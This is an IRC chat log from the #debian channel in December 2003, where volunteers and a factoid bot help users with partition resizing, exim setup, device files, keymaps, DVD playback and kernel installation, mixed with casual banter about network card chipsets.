| 19:39.10 | greycat | djw: usually it shows up as errors while building one or more of the modules during the "make-kpkg" run. If you didn't save a copy of its output, you may be a bit screwed there. |
| 19:39.26 | djw | greycat: okay, thanks :) |
| 19:39.27 | glam | yeah i was goin gthru the users manual for parted |
| 19:39.28 | lorax | qbay |
| 19:39.34 | glam | wud appreciate any help |
| 19:39.42 | lorax | qbay alien will make is a deb |
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| 19:40.34 | gbay | lorax: thank you |
| 19:40.59 | glam | can i just type resize 1 1 2000 |
| 19:41.01 | lorax | qbay : np |
| 19:41.23 | legolas | greycat: I have exmin installed, ( verified using dselect) |
| 19:41.44 | greycat | legolas: so you need to use "eximconfig" or edit the configs directly |
| 19:42.02 | glam | gothtec: can i just type resize 1 1 2000 to resize the current 4G ext2 artition to the 2 G partition |
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| 19:42.22 | charolastra | greetings ppl |
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| 19:42.52 | gothtec | glam: I haven't used that program for a long time. And for such an important operation, I suggest you read the manual until you completely understand the parts you need. |
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| 19:43.08 | glam | gothtec: thanks |
| 19:43.28 | gothtec | glam: and dont forget the backup, will you? |
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| 19:44.31 | legolas | greycat: if I do dpkg-reconfigure eximconfig it tells me eximconfig is not installed... |
| 19:44.40 | glam | gothtec: i want to resize the partion that has my "/" |
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| 19:45.20 | t35t0r | i have a preexisting ext3 on /dev/hda2 i want to reinitialize it to reiserfs, how do i get to this option? |
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| 19:45.33 | t35t0r | using install cd #1 ? |
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| 19:45.45 | emacsen | anyone know how to use cdrecord without SCSI emulation? |
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| 19:46.03 | muncc2beo | Should /dev/dvd be a symlink to the dvd device (ie, /dev/hdc)? |
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| 19:46.26 | muncc2beo | emacsen: I think you have to use scsi emulation in the 2.4 kernel, however, you don't have to in 2.6 |
| 19:46.49 | charolastra | any idea what make xconfig workes with 2.4.x but fails with 2.6 on my system? |
| 19:47.02 | emacsen | muncc2beo: how would that work? what's the cdrecord parameter? |
| 19:47.03 | charolastra | *makes |
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| 19:47.26 | jetscreamer | i had that but just use menuconfig |
| 19:47.28 | legolas | maybe there exists a package called "eximconfig" ? |
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| 19:47.42 | nokri | does anyone uses debian on a sparc? |
| 19:47.47 | legolas | I have exim, but sending a mail still loks for an old smarthost, I have that setup no longer |
| 19:47.50 | linuxtech | nokri: yes |
| 19:47.52 | moberry | charolastra xconfig uses gt gtkconfig uses gtk |
| 19:47.55 | colde89 | cold not install scanner , can detect him lsusb but cold not install him for sane (no devices availible) any idea ?? |
| 19:47.55 | legolas | and I am a lamer when it comes up to MTA |
| 19:48.00 | nokri | linuxtech: on which machine? |
| 19:48.04 | muncc2beo | emacsen: sorry, I've never used it. I'm just repeating what I've heard. |
| 19:48.09 | linuxtech | nokri: an ultra 2 |
| 19:48.11 | cassiopea | Hey. I need some help plz, I somehow lost my /dev/mouse and /dev/aux files, I don't know how, or how to get it back, can anybody help? |
| 19:48.12 | jetscreamer | legolas that's exim4 not exim |
| 19:48.22 | moberry | cassiopea mknod |
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| 19:48.28 | soleil | I'm having a problem with this miniCD; it keeps asking me for a floppy with the root image on it ... is there any way to tell it to use a root image on the cd? |
| 19:48.33 | legolas | I have exim 3.something |
| 19:48.38 | nokri | linuxtech: I have a Blade1500 and want wait for Sol9, so I want to use Linux insted |
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| 19:48.47 | charolastra | moberry: yeah, but thats not my problem ... |
| 19:48.48 | greycat | legolas: dpkg -l exim |
| 19:48.50 | rnd | hello |
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| 19:48.53 | t35t0r | i dropped to the ASH shell during installation there's no mkreiserfs ?!?!?! |
| 19:48.59 | nokri | linuxtech: want = do not want |
| 19:49.05 | rnd | can somebody tell me how I can reconfigure the netowork? |
| 19:49.07 | emacsen | soleil: are you maming your own distro iso? |
| 19:49.13 | moberry | charolastra what is the error? |
| 19:49.16 | cassiopea | moberry, I had a strange feeling you might say that, problem is I don't know nothing 'bout mknod or the major and minor numbers and all that |
| 19:49.17 | linuxtech | nokri: runs like a dream :) |
| 19:49.19 | greycat | rnd: man interfaces |
| 19:49.36 | moberry | cassiopea you might not need it. do you have a ps/2 mouse? |
| 19:49.38 | nokri | better than on x86? |
| 19:49.43 | cassiopea | moberry, yes |
| 19:49.45 | rnd | greycat is it possible to make debian ask me those question like when I installed it? |
| 19:49.46 | greycat | cassiopea: cd /dev && MAKEDEV |
| 19:49.48 | linuxtech | nokri: only difference is the boot loader is called SILO instead of LILO |
| 19:49.51 | legolas | greycat: version 3.36-9.1 |
| 19:49.54 | charolastra | they are all ": undefined reference to `blabla'" |
| 19:49.58 | rnd | something like dpkg-reconfigure |
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| 19:50.08 | nokri | but a way back to Solaris is available? |
| 19:50.13 | greycat | !tell kaziu about root |
| 19:50.18 | linuxtech | nokri: equal to x86, I've had no problems with it at all |
| 19:50.33 | nokri | ok, is there any special IRC for debian on Sparc? |
| 19:50.36 | rnd | !tell randomgr about root |
| 19:50.59 | cassiopea | thanx, greycat, do I need the correct kernel loaded when I run that, coz I'm currently on another installation with another kernel, can I just chroot into that installation and then run makedev? |
| 19:51.11 | charolastra | moberry: they are all ": undefined reference to `blabla'" |
| 19:51.14 | greycat | cassiopea: as long as you aren't using devfs you should be OK |
| 19:51.26 | ircdevil | apt welcome back |
| 19:51.28 | | It's great to be back! |
| 19:51.30 | legolas | if I dpkg-reconfigure exim, I get no error, no messa, no anything... |
| 19:51.37 | greycat | that's not apt as we know it. |
| 19:51.42 | moberry | charolastra um.. that doesnt help me. can you paste the output in #flood? |
| 19:51.48 | ircdevil | greycat its not? |
| 19:51.53 | greycat | legolas: because exim 3.x doesn't use debconf/dpkg-reconfigure |
| 19:51.56 | cassiopea | greycat, I'm using devfs on the current installation |
| 19:51.58 | greycat | ~+status |
| 19:51.59 | | Since Wed Dec 24 15:28:38 2003, there have been 32 modifications, 170 questions, 107 dunnos, 2 morons and 188 commands. I have been awake for 3d 4h 23m 20s this session, and currently reference 89189 factoids. I'm using about 15800 kB of memory. With 0 active forks. Process time user/system 2634.15/320.33 child 576.13/54.37 |
| 19:51.59 | charolastra | k, hold on |
| 19:52.09 | greycat | cassiopea: ouch. Then I can't help :( |
| 19:52.12 | legolas | greycat: yes, ineed I remember it run some command-line script |
| 19:52.14 | rnd | I remember than when I finished installing debian, it gave the command to run to do it again |
| 19:52.33 | greycat | legolas: that script is called eximconfig |
| 19:52.35 | legolas | greycat: very similar to the sendmail one: just answe some questions. I'ld like to run that one again |
| 19:52.36 | linuxtech | nokri: it doesn't seem there is |
| 19:52.40 | ircdevil | <PROTECTED> |
| 19:52.41 | | You are moron #3, ircdevil |
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| 19:52.48 | moberry | greycat how can you tell if your using devfs? |
| 19:52.48 | greycat | hehe |
| 19:52.53 | nokri | ok, thx, I will take a look at the debian.org site |
| 19:52.54 | moberry | or udev? |
| 19:52.56 | ircdevil | yeh - heh |
| 19:52.58 | soleil | emacsen: no... i modified one of the netinst-iso's that i found so that i could have drivers for my NIC on the CD (laptop, no floppy) |
| 19:53.16 | legolas | greycat: ok, thanks. I just need to find that and run it as root then |
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| 19:54.35 | kzar | How can I set my keyboard map? |
| 19:54.40 | soleil | emacsen: the problem is that when i boot it now, it wants a floppy that hase root.bin on it! |
| 19:54.48 | soleil | kzar: loadkeys your_map |
| 19:54.58 | charolastra | arrr, sorry ... please look at #flood |
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| 19:55.00 | oskie_ | anyone using exim4-daemon-heavy (exiscan) + spamassassin to stop spam? |
| 19:55.03 | moberry | charolastra holy shit |
| 19:55.09 | emacsen | soleil: no idea. sorry I've never taken the netinst cd apart |
| 19:55.14 | kzar | soleil: whats the your_map for a uk keyboard/how can I find it out? |
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| 19:55.29 | soleil | kzar: if you meant permanently, i couldnt find the config file, but i manually edited /etc/rc.d/keymap.sh |
| 19:55.38 | muncc2beo | Can anyone refer me to a HOWTO on viewing DVDs with Debian Sarge? |
| 19:55.39 | charolastra | and thats like 1% of the output ... |
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| 19:56.02 | moberry | ya... |
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| 19:56.17 | smj | Hello everyone... |
| 19:56.21 | moberry | charolastra and qt-dev is installed |
| 19:56.23 | oskie_ | muncc2beo: apt-get install ogle .. |
| 19:56.39 | crypto | muncc2beo: apt-cache search for xine or ogle |
| 19:56.56 | soleil | kzar: browse /usr/share/keymaps/i386 |
| 19:56.59 | dave_ | what is the fastest way to install pine onto a new debian linux box? |
| 19:57.00 | emcsqr | how may I convert my filenames from latin1 to utf-8? |
| 19:57.00 | Crell | kplayer |
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| 19:57.07 | soleil | kzar: and its /etc/init.d/keymap.sh , not rc.d |
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| 19:57.35 | kzar | I typed loadkeys uk and it told me "loadkeys: error while loading shared libraries: libcfont.0: cannot open shared object file: No such file or directory" |
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| 19:57.45 | charolastra | moberry: libqt-dev? yes, and it works with 2.4.23 ... |
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| 19:58.11 | legolas | greycat: thank you |
| 19:58.14 | moberry | charolastra im looking at somnething that could work |
| 19:58.19 | greycat | kzar: not "libcfont.so.0"? |
| 19:58.23 | charolastra | nice :)) |
| 19:58.27 | simonrvn | re |
| 19:58.31 | soleil | kzar: apt-get install libconsole console-tools-libs , i think should do it |
| 19:58.33 | kzar | greycat: no I pasted that |
| 19:58.44 | rnd | how can I rerun the debian post-install process? (the one you get on the first boot when installing deb) |
| 19:58.51 | greycat | griffon:~$ locate libcfont. |
| 19:58.52 | greycat | /lib/libcfont.so.0 |
| 19:58.52 | greycat | /lib/libcfont.so.0.0.0 |
| 19:58.54 | soleil | rnd: run "base-config" |
| 19:59.00 | smj | Has anyone here successfully acquired mozilla-firebird from backports.org lately? |
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| 19:59.08 | moberry | charolastra apt-get install libqt3-dev .. try that |
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| 19:59.36 | jetscreamer | why am i getting this error msg "/etc/init.d/rcS: not setting system time" |
| 19:59.45 | muncc2beo | oskie_: ogle said, ERROR[ogle_nav]: faild to open/read the DVD |
| 19:59.48 | jetscreamer | fresh d-i install |
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| 20:00.05 | soleil | smj: i have a mozilla-0.7 deb |
| 20:00.08 | moberry | charolastra: you have it installed but it cant find the functions in the library's meaning you might need that version |
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| 20:00.10 | simonrvn | what's date say? |
| 20:00.14 | philips | anyone know of a tool to convert a directory of svgs to png? |
| 20:00.14 | kzar | soeil: "apt-get install libconsole console-tools-libs" returned a dependancy error, should I do the two things seperately? |
| 20:00.17 | soleil | smj: im not sure how to check where i got it from.. |
| 20:00.28 | soleil | soleil: try? |
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| 20:00.38 | muncc2beo | crypto: ogle said ERROR[ogle_nav]: faild to open/read the DVD |
| 20:00.44 | dave_ | do i have to recompile my kernel from 2.2.19 to run iptables? |
| 20:00.53 | moberry | dave_ iptyables is 2.4 |
| 20:00.57 | soleil | i'll brb |
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| 20:01.00 | soleil | reboot time |
| 20:01.00 | mhelas | hi |
| 20:01.00 | exobyte | I'm trying to mount my cdrom, but in fstab, /dev/cdrom is used, but it doesn't exist. Should I just make a symlink? |
| 20:01.01 | simonrvn | dave_: iptables is a 2.4.x feature |
| 20:01.05 | moberry | ipchains is 2.2 |
| 20:01.08 | rnd | soleil thanks a lot :) |
| 20:01.10 | charolastra | moberry: yeah, i haven't installed it so i guess thats the problem; but now i ran into a dependency problem |
| 20:01.13 | jetscreamer | install a kernel-image at least, don't gotta compile |
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| 20:01.27 | crypto | muncc2beo: you need to make a sym link from your dvd to /dev/dvd |
| 20:01.29 | moberry | chacal like what? |
| 20:01.36 | ToreSB | How do I connect to multiple servers in irssi? |
| 20:01.41 | moberry | er charolastra |
| 20:01.44 | rnd | exobyte either a symlink or just change it |
| 20:01.54 | exobyte | rnd: cool- thx |
| 20:01.55 | dave_ | fuck, i never did this before, what is install a kernel image |
| 20:01.56 | petemc | ToreSB: /connect <server> |
| 20:02.08 | ToreSB | petemc: Does that open a new win? |
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| 20:02.13 | muncc2beo | crypto: now I get this: libdvdread: Can't open file VIDEO_TS.IFO. |
| 20:02.13 | muncc2beo | ERROR[ogle_nav]: faild to read VIDEO_TS.IFO |
| 20:02.33 | AcidBurn24 | does someone know where i can ask some questions about shell scripting? |
| 20:02.38 | petemc | ToreSB: ctl x in the status window to switch servers, then /join #channel will create a new window |
| 20:02.38 | ToreSB | petemc: NM :) |
| 20:02.39 | simonrvn | #bash |
| 20:02.47 | crypto | I don't know what that is - probably not a valid dvd ? |
| 20:02.48 | AcidBurn24 | thanks |
| 20:02.56 | smj | soleil: Hmmmm... I was just curious because I'm rebuilding my machine currently and did a very stupid thing with the backports.org apt repository. |
| 20:02.57 | rnd | AcidBurn24: did you try to find a howto? |
| 20:03.00 | exobyte | rnd: it looks like it worked =) |
| 20:03.03 | muncc2beo | crypto: so, like, some formats aren't supported? |
| 20:03.17 | greycat | assuming he's writing his shell scripts in bash :) |
| 20:03.18 | jetscreamer | why am i getting this error msg on boot: "/etc/init.d/rcS: not setting system time" ... how do i fix it |
| 20:03.19 | smj | soleil: I didn't know if it was causing my problems with gtk or not. |
| 20:03.20 | AcidBurn24 | rnd : yes |
| 20:03.21 | jetscreamer | muncc2 |
| 20:03.22 | simonrvn | AcidBurn24: there is also the advanced bash scripting howto.. www.tldp.org |
| 20:03.23 | rnd | why shouldn't it? :P |
| 20:03.26 | jetscreamer | did you do the css thing |
| 20:03.35 | AcidBurn24 | thanks ppl |
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| 20:03.40 | ToreSB | petemc: Ingenious :) thanks! |
| 20:03.44 | muncc2beo | jetscreamer: run that script? yes |
| 20:03.55 | jetscreamer | <PROTECTED> |
| 20:03.58 | jetscreamer | oh ok |
| 20:04.05 | rnd | now that you talk about movies.... sound and picture are not syncronized in mplayer |
| 20:04.08 | muncc2beo | is there anything I have to do after running it? |
| 20:04.11 | rnd | synchronised even |
| 20:04.12 | crypto | muncc2beo: it's not a vcd is it ? |
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| 20:04.18 | jetscreamer | dunno that's all i know |
| 20:04.22 | muncc2beo | crypto: no, dvd |
| 20:04.29 | dave_ | the debian kernel-HOWTO as been removed for review? |
| 20:04.56 | moberry | charolastra go ahead and upddate your qt librarys to 3. if you still cant figure it out.. try make gconfig |
| 20:04.56 | jetscreamer | yeah it's a subversive communistic howto |
| 20:04.58 | raboof | are there any known problems when using the mozilla[-firebird] from unstable with plugin/i386/ns610-gcc32/libjavaplugin_oji.so from the j2re from java.sun.com? |
| 20:05.07 | crypto | muncc2beo: I dunno then, try xine |
| 20:05.11 | raboof | it just crashes whenever i open a page with a java applet :/ |
| 20:05.27 | muncc2beo | crypto: I tried that, too. I get pretty much the same error |
| 20:05.41 | exobyte | Any ideas why my video card, usb controller, and ethernet adapter all show up in lspci but my modem doesn't? All are PCI, except maybe the video card |
| 20:05.43 | rnd | raboof: same here :P |
| 20:06.07 | charolastra | moberry: the gconfig will be the best way cause i don't want to trash my system with force installing packages .... thanx |
| 20:06.08 | raboof | drat. |
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| 20:06.48 | simonrvn | @lart java with a 2x4 |
| 20:06.58 | simonrvn | :P |
| 20:07.26 | crypto | muncc2beo: try run ogle --check to see if everything seems right - other than that -I don't know |
| 20:07.51 | kzar | hmm when I type "apt-get install console-tools-libs" like he told me to it tells me there is no install candidate for it or something? |
| 20:08.02 | muncc2beo | crypto: can I pm you and show you the output? |
| 20:08.13 | crypto | muncc2beo: ok |
| 20:08.13 | simonrvn | ffs, it isn't a wigwam, it's a tipi... |
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| 20:08.54 | dave_ | what is the diff between compile the kernel and install the kernel image, sorry i am a dumbass |
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| 20:08.55 | soleil | is it possible to resize NTFS partitions nowadays? |
| 20:09.08 | greycat | partition magic 7.0 works |
| 20:09.15 | soleil | greycat: any free tools? |
| 20:09.16 | kzar | hey soleil I managed to install libconsole but it says console-tools-libs has no install candidate or somthing |
| 20:09.16 | greycat | !ntfs |
| 20:09.16 | dpkg | i heard ntfs is Microsoft's attempt to create a Unix-like filesystem. linux-ntfs.sourceforge.net is a good source of information. http://linux-ntfs.sourceforge.net/ has patches against 2.4.20 of the backport of the 2.5.X ntfs [ntfs-tng] allowing overwrite without changing filesize. you need umask=022,gid=xxx to acces the partition as non-root. See also http://linuxmafia.com/~rick/linux-info/ntfs |
| 20:09.24 | raboof | ok. so is there anyone on unstable using mozilla[-firebird] for whom java applets actually work? |
| 20:09.26 | jetscreamer | <PROTECTED> |
| 20:09.58 | greycat | jetscreamer: run it with "sh -x /etc/init.d/rcS" and see what it does |
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| 20:10.13 | simonrvn | dave_: no, just don't know. install a kernel images is apt-get one from the debian mirrors (a pre-compiled one). compile a kernel means that you compile one yourself, and install that. since you're really new to this, i'd suggest the former - getting one from debian |
| 20:10.25 | Pryon | dave_ : compiling the kernel is taking the source code and changing it into code the machine understands. Installing the kernel image is downloading a package where that's already been done. |
| 20:10.39 | neqm | raboof: do you have any url at hand for testing here? |
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| 20:11.11 | simonrvn | kzar: libconsole replaces console-tools-libs |
| 20:11.17 | greycat | Pryon: compiling a kernel first requires that you create a .config file. That's the hard part. |
| 20:11.18 | raboof | neqm: http://ww3.freearcade.com/Carjam.jav/Carjam.html |
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| 20:11.21 | pgimeno | hi, what package do I need to have soft OpenGL support under X? is it mesag3? |
| 20:11.29 | kzar | simonrvn: he told me to type apt-get install libconsole console-tools-libs |
| 20:11.39 | kzar | so is that just a stupid thing to type? |
| 20:11.58 | daxal | how do I make 'Do you want to erase any previously downloaded .deb files?' always default to No? (and what reasons do I want Yes for?) |
| 20:12.08 | jetscreamer | hmmm greycat.... |
| 20:12.11 | simonrvn | kzar: it's ok. no worries. it's just that console-tools-libs is the older one, and i suppose it was just covering the bases |
| 20:12.17 | Pryon | greycat : Hmmmmm. Is there a .config file in the source already? |
| 20:12.22 | jetscreamer | all kinds of weirdness to sift through |
| 20:12.36 | kzar | so simonrvn: what should I type now to set the keyboard map? |
| 20:12.39 | jetscreamer | oh it was rcS not rc.S ooops |
| 20:12.47 | simonrvn | kzar: it's installed now? |
| 20:12.49 | greycat | Pryon: nope, and the defaults are insane (Pentium III, SMP, ...) |
| 20:12.59 | Pryon | hmmm. |
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| 20:13.04 | striker | t |
| 20:13.06 | simonrvn | greycat: they're insane on PPC too |
| 20:13.27 | kzar | simonrvn: libconsole is, and the otherone cant be installed |
| 20:13.34 | simonrvn | kzar: if you want to set up the kbd, do dpkg-reconfigure console-data |
| 20:13.34 | smj | greycat: An an Intel EEpro 100? Who has that in their machine? |
| 20:13.37 | greycat | jetscreamer: what's the last line of "+ ..." output before your error? |
| 20:13.41 | simonrvn | kzar: ignore the other |
| 20:13.43 | jetscreamer | i get modprobe: can't find * either |
| 20:13.46 | jetscreamer | lemme look |
| 20:13.52 | greycat | smj: not the newbies here :) |
| 20:14.04 | simonrvn | hehe |
| 20:14.04 | smj | greycat: Had to say something... :-) |
| 20:14.06 | greycat | smj: they all have RTL8139s and Broadcoms. |
| 20:14.25 | raboof | neqm: (it works in konqueror though - i solved it in 8 steps :)) |
| 20:14.31 | Kawfee | RTL8139 is a nice chipset |
| 20:14.40 | tarzeau | Kawfee: moo |
| 20:14.41 | greycat | "nice"? |
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| 20:14.44 | Kawfee | tarzeau, moooo |
| 20:14.46 | simonrvn | 2 tulip-based NICs, and an old BNC/10/100bT one |
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| 20:14.50 | Kawfee | nice, I've never had problems |
| 20:14.52 | kzar | simonrvn: the output of that used to be really short, but now ive installed the libconsole thing it returns this " |
| 20:14.52 | kzar | Failed to dump keymap! |
| 20:14.53 | kzar | This might be because your console cannot be opened. Perhaps you don't have |
| 20:14.54 | kzar | video card, are connected via the serial console or ssh. Not loading |
| 20:14.54 | *** kick/#debian [kzar!~debhelper@rzlab.ucr.edu] by debhelper (flood) |
| 20:14.55 | Kawfee | tarzeau, what up! |
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| 20:15.05 | greycat | Kawfee: someone spiked your milk. |
| 20:15.11 | tarzeau | Kawfee: the 26th december 2003 is a very nice day! |
| 20:15.12 | simonrvn | kzar: don't paste in here |
| 20:15.15 | Kawfee | greycat, got anymore? |
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| 20:15.17 | kzar | ahh ccrap I didn't meen to spam |
| 20:15.20 | smj | Tulips are nice cards... |
| 20:15.21 | tarzeau | Kawfee: don't you think so? |
| 20:15.30 | somiaj | kzar: that is what #flood is for... |
| 20:15.31 | simonrvn | smj: they are |
| 20:15.31 | kzar | simon I just ment to paste a bit in but I copied too much |
| 20:15.34 | Kawfee | tarzeau, dunno, what happend ? |
| 20:15.39 | simonrvn | kzar: don't paste in here |
| 20:15.40 | kzar | yea I actally didn't meen to somiaj |
| 20:15.45 | Kawfee | greycat, why don't you like rtl8139? |
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| 20:15.49 | smj | simonrvn: I wish I had a tulip. Do they make them anymore or has Intel finally squashed them? |
| 20:15.49 | GameServer | is here someone familar with unreal tournament gameservers? |
| 20:15.56 | Kawfee | greycat, all my systems have rtl8139 chipsets on the LAN |
| 20:16.01 | simonrvn | smj: other folks do |
| 20:16.02 | smj | GameServer: Nope, but I've played it before. :-( |
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| 20:16.04 | cassiopea | I'm having some trouble insmoding my bttv.o module, but insmod doesn't give much info to help me fix it, can anybody help? |
| 20:16.04 | tarzeau | i ate a marmorized chocolate vanilla cake, afternoon, what happened to you? |
| 20:16.05 | somiaj | kzar: yea, I'm just letting ya know about #flood just incase you didn't know...(: |
| 20:16.11 | kzar | k |
| 20:16.13 | greycat | Kawfee: well, ripping out the RTL8139 cards from my OpenBSD box made my "nfsd: send error 55" (?) messages go away, for one. |
| 20:16.22 | Kawfee | tarzeau, you got some good crack? |
| 20:16.24 | tarzeau | greycat: hehe :) |
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| 20:16.31 | smj | simonrvn: Really? Is the tulip spec open for other manufacturers? That's awesome! Are the prices reasonable? |
| 20:16.37 | jetscreamer | greycat, big mess i can't shift+pgup all the way up through, but afaict, the error didn't repeat when i did that, i got system time set. (it always repeats on boot though) |
| 20:16.38 | greycat | <PROTECTED> |
| 20:16.38 | greycat | <PROTECTED> |
| 20:16.38 | greycat | <PROTECTED> |
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| 20:16.43 | Kawfee | greycat, yeah, that's nice. Maybe you shouldn't use OpenBSD =] |
| 20:16.44 | greycat | <PROTECTED> |
| 20:16.44 | greycat | <PROTECTED> |
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| 20:16.52 | greycat | !rtl8139 |
| 20:16.52 | dpkg | from memory, rtl8139 is a RealTek PCI NIC that uses the 8139too (new) or rtl8139 (old) driver. *not* ne2k-pci, or a piece of shit card!...but some people have had good luck with it |
| 20:17.04 | smj | greycat: I wouldn't say worst... I think the VIA-Rhine's pretty bad myself. |
| 20:17.05 | greycat | !listkeys 8139 |
| 20:17.07 | dpkg | Factoid search of '8139' by key (2 shown): 8139 ;; rtl8139. |
| 20:17.07 | tarzeau | Kawfee: not me but polly, www.linuks.mine.nu/020302.jpg |
| 20:17.08 | simonrvn | smj: my old USR card is a tulip, and i have a 3com that is, and another one that needs tulip too |
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| 20:17.15 | kzar | simonrvn: would a reboot help with that error ? |
| 20:17.18 | greycat | smj: that's a quote from the source code of the openbsd rl driver |
| 20:17.20 | muncc2beo | Well, now I have DVD support working, however when I play the DVD, occasionally it will pause for about 3 seconds, and the sound will stop, and the picture will freeze. Why does it do this, and are there any ways to fix it? |
| 20:17.25 | jetscreamer | i was happy with my rtl 8139's performance |
| 20:17.26 | simonrvn | kzar: no. this isn't windoze. |
| 20:17.33 | Kawfee | tarzeau, either I've eaten too much swiss chocolate today or you aren't making sense |
| 20:17.34 | tarzeau | Kawfee: no seriously, i met my girlfriend, and enjoyed being together |
| 20:17.42 | smj | simonrvn: No way, I thought Intel bought the tulip specs and crushed the company that made them. I'm glad to hear it. Thanks. |
| 20:17.47 | Kawfee | tarzeau, mind translating? |
| 20:17.50 | smj | greycat: I do love reading source code sometimes. |
| 20:18.00 | Kawfee | tarzeau, can I meet your girlfriend too? |
| 20:18.02 | tarzeau | Kawfee: i have seen my girlfriend. nothing else |
| 20:18.11 | Kawfee | tarzeau, today is the 27th you know? |
| 20:18.16 | simonrvn | smj: my NICs are older NICs, dunno about any newer ones though |
| 20:18.29 | tarzeau | Kawfee: if you come to switzerland, i can show you |
| 20:18.30 | kzar | simonrvn: so what should I do then? |
| 20:18.30 | simonrvn | smj: they're all 10/100bT |
| 20:18.36 | smj | simonrvn: I've got one tulip on my network and it is sweet. I love the functionality. |
| 20:18.43 | tarzeau | Kawfee: yes i know, depends where you are |
| 20:18.44 | simonrvn | kzar: try running it in console |
| 20:18.49 | simonrvn | smj: :) |
| 20:18.51 | Kawfee | dpkg, rtl8139 is also a kick ass chipset. |
| 20:18.51 | dpkg | okay, Kawfee |
| 20:18.53 | smj | simonrvn: I'm not running GigE yet, so 100Mbps is great! |
| 20:18.55 | greycat | dpkg, rtl81x9.c is the openbsd realtek 8129/8139 PCI NIC driver. Quote: "The RealTek 8139 PCI NIC redefines the meaning of 'low end.' This is probably the worst PCI ethernet controller ever made, with the possible exception of the FEAST chip made by SMC. The 8139 supports bus-master DMA, but it has a terrible interface that nullifies any performance gains that bus-master DMA usually offers." |
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| 20:18.55 | dpkg | okay, greycat |
| 20:19.11 | greycat | !realtek |
| 20:19.11 | dpkg | well, realtek is a piece of crap chipset that fortunately is a lot better if you use the 8139too driver in 2.2.18 and 2.4.0 instead of rtl8139. a chip that has a pretty high server load while transmitting data. very cheap and common as an embedded ethernet controller |
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| 20:19.21 | smj | simonrvn: Wanna guess what most of my other cards are? |
| 20:19.21 | tarzeau | hehhee |
| 20:19.26 | Kawfee | tarzeau, are you familiar with "AVELINES" ? |
| 20:19.33 | tarzeau | Kawfee: no, what's that? |
| 20:19.35 | simonrvn | smj: rtls ? ;P |
| 20:19.41 | asuffield | rtl8139 isn't all that bad, as ethernet chipsets go. however, it is designed for budget cards, and the actual *cards* that get built with these chips on tend to be made to absolute minimum cost |
| 20:19.49 | asuffield | as a result, they tend to be unreliable |
| 20:19.50 | Kawfee | dpkg realtek works fine for me. |
| 20:19.50 | dpkg | Kawfee: are you smoking crack? |
| 20:19.54 | smj | simonrvn: Or VIA-Rhines... :-) They build them into the mobos now. |
| 20:19.54 | tarzeau | Kawfee: i know ANALPROBES |
| 20:19.54 | Kawfee | dpkg, yes |
| 20:19.55 | dpkg | [yes] no, or the opposite of no |
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| 20:20.06 | kzar | simonrvn: I am running it in the console |
| 20:20.06 | simonrvn | smj: via-rhine is so-so |
| 20:20.11 | Kawfee | dpkg realtek is also Works fine for me. |
| 20:20.11 | dpkg | Kawfee: okay |
| 20:20.23 | greycat | Kawfee: you got lucky. |
| 20:20.25 | simonrvn | kzar: ok, what happens when you do apt-get install console-data |
| 20:20.28 | simonrvn | ? |
| 20:20.29 | Kawfee | greycat, how so? |
| 20:20.35 | greycat | Kawfee: that it worked. |
| 20:20.40 | Kawfee | why's that? |
| 20:20.45 | Kawfee | oh |
| 20:20.52 | Kawfee | I haven't eaten today. |
| 20:20.55 | kzar | simonrvn: it says its at the latest version |
| 20:20.57 | Kawfee | I need foooood |
| 20:20.57 | smj | simonrvn: I've got one that works fine with the vanilla kernel driver, but another that is evil and only wants its specific prepackaged proprietary driver. Not very Linux friendly. Too bad I can't throw it on a Windoze box. |
| 20:21.06 | pgimeno | What package do I need to have soft OpenGL support under X? mesag3? |
| 20:21.07 | smj | Kawfee: Go get foooood. |
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| 20:21.14 | Kawfee | greycat, I've been using the rtl8139 for years. It's very dependable for me. |
| 20:21.15 | simonrvn | kzar: you running what as a debian version, BTW? |
| 20:21.17 | KillerPro | hello all |
| 20:21.20 | Kawfee | greycat, that and it is cheap. |
| 20:21.36 | simonrvn | smj: ugh |
| 20:21.40 | kzar | simonrvn: im running unstable and the kernel 2.4 which came with the cd |
| 20:21.40 | simonrvn | @comfort smj |
| 20:21.42 | ravenbird | There, there, smj. It's OK. I'm here for you. |
| 20:21.43 | Kawfee | simonrvn, you mean like 3.0 ? |
| 20:21.49 | KillerPro | i have one problem with my ftp i can't conect the ftp from other computer ... somobody can help ? |
| 20:21.54 | smj | simonrvn: tks... |
| 20:21.54 | simonrvn | @fart Kawfee |
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| 20:22.07 | Kawfee | simonrvn, I ran unstable for years. I think I have stable on my system now though. |
| 20:22.07 | tarzeau | KillerPro: what happens if you telnet ftpserver 21 ? |
| 20:22.18 | simonrvn | Kawfee: i wasn't talking to you :) |
| 20:22.19 | Kraig | killerpro: using dns or ip? |
| 20:22.23 | smj | So, is it possible to create logical volumes from the Debian Installer? |
| 20:22.25 | KillerPro | ip |
| 20:22.26 | Kawfee | simonrvn, yes you were |
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| 20:22.34 | simonrvn | (20:21:15) < simonrvn> kzar: you running what as a debian version, BTW? |
| 20:22.41 | kzar | simonrvn: im running unstable and the kernel 2.4 which came with the cd |
| 20:22.56 | simonrvn | kzar: i saw that :) |
| 20:22.57 | Kraig | killpro: could you telnet? |
| 20:23.00 | simonrvn | Kawfee: hush up you |
| 20:23.08 | KillerPro | telnet yes with ssh 2 |
| 20:23.18 | fflush | can i kill a cvs update, and then restart from where it stopped, or my sources will get borked? |
| 20:23.27 | somiaj | kzar: the 2.4.18-bf2.4 kernel? hmmm you should change that. |
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| 20:23.30 | tarzeau | KillerPro: you don't telnet with ssh |
| 20:23.33 | Kawfee | hrm, you weren't talking to me. |
| 20:23.34 | kronos | A stupid question.. can I assign to my pc an hostname based on 1 char? |
| 20:23.41 | Kawfee | tarzeau, what do they put in the chocolate over there? |
| 20:23.42 | KillerPro | with shh2 i conect .. |
| 20:23.42 | tarzeau | kronos: sure |
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| 20:23.45 | greycat | kronos: yes |
| 20:23.46 | simonrvn | kzar: yes very much so change that kernel |
| 20:23.49 | kronos | tnx |
| 20:23.56 | kzar | somiaj: firstly, why? |
| 20:23.59 | tarzeau | Kawfee: i don't know what AVELINES are |
| 20:24.04 | simonrvn | Kawfee: hi BTW |
| 20:24.07 | smj | Ya know, I'm installing Win2K on a 1.9GHz machine with 1GB of RAM, generations ahead of the original 500MHz machine I bought it for, and it's still installing just as slowly. :-( |
| 20:24.07 | KillerPro | i din'd conect with telnet |
| 20:24.09 | kzar | simonrvn: shouldn't I get keyboards working right first? |
| 20:24.14 | kronos | tarzeau:, greycat: well, when I installed debian it says: you have to chose from 2 and .. chars |
| 20:24.25 | Kawfee | simonrvn, hi. I swear that said "Kawfee: " |
| 20:24.26 | simonrvn | kzar: yes. is t working ok now? since you can type in console... |
